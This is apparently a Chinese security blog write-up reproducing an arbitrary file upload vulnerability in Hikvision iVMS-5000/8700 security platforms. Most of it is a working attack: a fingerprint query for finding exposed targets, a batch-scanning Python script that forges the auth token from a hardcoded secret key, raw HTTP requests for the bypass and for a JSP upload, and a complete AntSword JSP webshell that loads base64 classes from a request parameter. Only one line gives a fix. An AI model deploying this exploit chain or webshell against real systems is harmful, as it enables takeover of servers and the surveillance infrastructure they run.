海康威视iVMS综合安防系统任意文件上传漏洞复现（0day）

0x01 产品简介

海康威视iVMS集中监控应用管理平台，是以安全防范业务应用为导向，以视频图像应用为基础手段，综合视频监控、联网报警、智能分析、运维管理等多种安全防范应用系统，构建的多业务应用综合管理平台。

0x02 漏洞概述

海康威视iVMS系统存在在野 0day 漏洞，攻击者通过获取密钥任意构造token，请求/resourceOperations/upload接口任意上传文件，导致获取服务器webshell权限，同时可远程进行恶意代码执行。

0x03 影响范围

海康威视综合安防系统iVMS-5000

海康威视综合安防系统 iVMS-8700

0x04 复现环境

鹰图指纹：web.body="/views/home/file/installPackage.rar"

0x05 漏洞复现

检测脚本PoC:https://github.com/sccmdaveli/hikvision-poc

import requests
import urllib3
import urllib
import hashlib
import argparse
from colorama import init
from colorama import Fore
init(autoreset=True)
urllib3.disable_warnings()head = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36","Cookie": "ISMS_8700_Sessionname=ABCB193BD9D82CC2D6094F6ED4D81169"
}
def md5encode(url):if url.endswith("/"):path = "eps/api/resourceOperations/uploadsecretKeyIbuilding"else:path = "/eps/api/resourceOperations/uploadsecretKeyIbuilding"encodetext = url + pathinput_name = hashlib.md5()input_name.update(encodetext.encode("utf-8"))return (input_name.hexdigest()).upper()def poc(url):if url.endswith("/"):path = "eps/api/resourceOperations/upload?token="else:path = "/eps/api/resourceOperations/upload?token="pocurl = url + path + md5encode(url)data = {"service": urllib.parse.quote(url + "/home/index.action")}try:response = requests.post(url=pocurl,headers=head,data=data,verify=False,timeout=3)if response.status_code==200:print(Fore.GREEN + f"[+]{url}存在海康威视iVMS 综合安防任意文件上传漏洞！！！！")else:print(Fore.RED + f"[-]{url}不存在海康威视iVMS 综合安防任意文件上传漏洞")except:passif __name__ == '__main__':parser = argparse.ArgumentParser(usage='python3 ivms.py -u http://xxxx\npython3 ivms.py -f file.txt',description='ivms漏洞检测poc',)p = parser.add_argument_group('ivms 的参数')p.add_argument("-u", "--url", type=str, help="测试单条url")p.add_argument("-f", "--file", type=str, help="测试多个url文件")args = parser.parse_args()if args.url:poc(args.url)if args.file:for i in open(args.file,"r").read().split("\n"):poc(i)

使用方式：

单个url检测：

python3 ivms-poc.py -u url

多个url检测:

python3 ivms-poc.py -f file.txt

效果：

手动复现

漏洞url:/eps/api/resourceOperations/upload

bp抓取首页包，尝试访问接口（发现token需要进行鉴权）

POST /eps/api/resourceOperations/upload HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://you-ip
Connection: close
Cookie: ISMS_8700_Sessionname=7634604FBE659A8532E666FE4AA41BE9
Upgrade-Insecure-Requests: 1
Content-Length: 62service=http%3A%2F%2Fx.x.x.x%3Ax%2Fhome%2Findex.action

构造token绕过认证（内部机制：如果token值与请求url+secretkey的md5值相同就可以绕过认证）

secretkey是代码里写死的（默认值：secretKeyIbuilding）

token值需要进行MD5加密（32位大写）

组合：token=MD5(url+"secretKeyIbuilding")

重新验证

可以看到，成功绕过

构造文件上传payload

POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPo
Upgrade-Insecure-Requests: 1
Content-Length: 174------WebKitFormBoundaryGEJwiloiPo
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
Content-Type: image/jpegtest
------WebKitFormBoundaryGEJwiloiPo

显示上传成功且返回了resourceUuid值

验证路径：http://url/eps/upload/resourceUuid的值.jsp

0x06 漏洞利用

直接上传蚁剑jsp马子

<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("passwd");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>

上传成功，尝试连接

0x07 修复建议

关闭互联网暴露面访问的权限，文件上传模块做好权限强认证